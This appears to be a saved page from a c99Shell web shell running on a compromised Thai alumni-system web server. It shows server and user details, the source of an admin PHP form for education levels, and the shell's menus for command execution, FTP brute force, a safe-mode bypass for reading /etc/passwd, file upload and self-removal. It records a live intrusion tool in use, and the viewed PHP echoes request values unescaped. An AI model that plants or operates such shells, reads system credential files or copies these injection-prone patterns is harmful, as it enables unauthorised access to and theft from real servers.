!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/admin/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addleveledu.php (7.94 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../link/function.php";
include_once 
"../class/clsleveledu.php";
confirmSubmit();
$oL = new LevelEdu($oC1);
?>
<script language="JavaScript1.2">
function checkFormat(){
    if(document.ps.leveleduName.value==""){
        alert("กรุณากรอกชื่อระดับการศึกษา (ไทย) !");
        return false;
    }
    if(document.ps.leveleduNameEng.value==""){
        alert("กรุณากรอกชื่อระดับการศึกษา (อังกฤษ)!");
        return false;
    }
    if(document.ps.leveleduAbbr.value==""){
        alert("กรุณากรอกชื่อย่อระดับการศึกษา (ไทย)!");
        return false;
    }
    if(document.ps.leveleduAbbrEng.value==""){
        alert("กรุณากรอกชื่อย่อระดับการศึกษา (อังกฤษ)!");
        return false;
    }
}
</script>

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="adminIndex.php?mm=1">ข้อมูลพื้นฐานของระบบ</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> ข้อมูลระดับการศึกษา</font></legend>
            <label><div align="center"><br><table width="550" align="center" border="0" cellpadding="0" cellspacing="1">
                <tr><td align="center" colspan="2"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>ข้อมูลระดับการศึกษา</strong></font></td></tr>
                  <tr > 
              <td height="20" colspan="2" align="right"><a href="printleveledu.php" target="_blank"><img src="../picture/print.gif" width="15" height="14" border="0"></a><br><br></td>
            </tr>
                <tr>
                    <td colspan="2"><table width="550" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
                        <tr>
                            <td colspan="5" align="center"><form name="ps" method="post" action="processleveledu.php">
                            <table width="396" align="center" border="0">
                                <tr>
                                    <td align="left" width="187"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อระดับการศึกษา (ไทย)</b></font></td>
                                    <td align="left" width="2">&nbsp;</td>
                                    <td align="left" width="193"><input type="text" name="leveleduName" size="24">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อระดับการศึกษา (อังกฤษ)</b></font></td>
                                    <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                                    <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><input type="text" name="leveleduNameEng" size="24">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    
                          <td align="left"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อย่อระดับการศึกษา 
                            (ไทย)</b></font></td>
                                    <td align="left">&nbsp;</td>
                                    <td align="left"><input type="text" name="leveleduAbbr" size="15">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    
                          <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อย่อระดับการศึกษา 
                            (อังกฤษ)</b></font></td>
                                    <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>">&nbsp;</td>
                                    <td align="left" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_4"];?>"><input type="text" name="leveleduAbbrEng" size="15">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr>
                                    <td colspan="3" align="center"><br><input type="submit" name="add" value="บันทึก"  onClick = "return checkFormat()" >
                                    <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                                    <input type="hidden" name="method" value="add"></td>
                                </tr>                                
                            </table></form><br><br></td>
                        </tr>
                         <tr>
                  <td align="right" colspan="5">
                  <form name="pf" method="post" action="<?php echo $PHP_SELF;?>">
                  <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><b>ชื่อระดับการศึกษา (ไทย)</b></font>
                                <input type="text" name="psearch">
                                <input type="submit" name="search" value="ค้นหา" >
                    </font></form></td>
                    
                  </tr>
                        <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <td width="73"   height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ลำดับ</strong></font></td>
                            
                    <td width="215"  height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ชื่อระดับการศึกษา 
                      (ไทย)</strong></font></td>
                            
                    <td width="167"  height="22" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ชื่อย่อระดับการศึกษา 
                      (ไทย) </strong></font></td>
                            <td width="47"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>แก้ไข</strong></font></td>
                            <td width="36"  align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>ลบ</strong></font></td>
                        </tr>
<?php 
                $oL
->RSLevelEduNameId($psearch);
                
$record $oL->GetRowSelected();
                if (
$pg==""
                    
$pg=1;
                
$i = ($pg-1)*$GLOBALS["rowPerPage"];
                
$oL->NextPage($pg);
                 while(
$oL->GetRecord()) {
                            if((
$i%2) == 0)
                                echo 
"<tr>";
                            else
                                echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>                                                          
                            <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $i+1;?></font></td>
                            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oL->leveleduName;?></font></td>
                            
                    <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo $oL->leveleduAbbr;?></font></td>
                            <td align="center"><a href="editleveledu.php?pg=<? echo $pg?>&leveleduId=<?php echo $oL->leveleduId;?>&psearch=<? echo $psearch?>"><img src="../picture/editnew.gif" width="23" height="19" align="absmiddle" border="0"></a></td>
                            <td align="center"><a href="processleveledu.php?leveleduId=<?php echo $oL->leveleduId;?>&method=delete" onClick='return confirmSubmit("คุณต้องการลบข้อมูลแน่นอนใช่หรือไม่ ?")'><img src="../picture/deletenew.gif" width="16" height="19" align="absmiddle" border="0"></a></td>
                        </tr>
<?php
                            $i
++;
                        }
                        
                        if((
$record) == 0){
?>
                        <tr>
                            <td colspan="5" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
                <tr>
                    
              <td align="left"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>">หน้า-&gt; 
<?php
                $mxPage
=$oL->NumPage();    
                for(
$i=1;$i<=$mxPage;$i++){
                        if(
$i == $pg)
                            echo 
$i." ";
                        else {
?>
                            <a href="addleveledu.php?pg=<?php echo $i;?>&psearch=<? echo $psearch?>"><?php echo '[ '.$i.' ]'; if($i==9){echo "<br>";}?></a>
<?php
                        
}
                    }
?>
                </font></td>
              <td align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">รวม <?php echo $record;?>
                รายการ</font></td>
                </tr>
                <tr>
                    <td align="left" colspan="2"><input type="button" name="back" value="กลับเมนูหลัก" onClick="location.href = '?mm=1'"></td>
                </tr>
            </table></div></label>
        </fieldset><br><table width="93%" align="left" border="0" cellpadding="0" cellspacing="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>">
        <tr> 
          <td height="20" align="left" > <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></tr>
      </table></td>
    </tr>
</table>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]--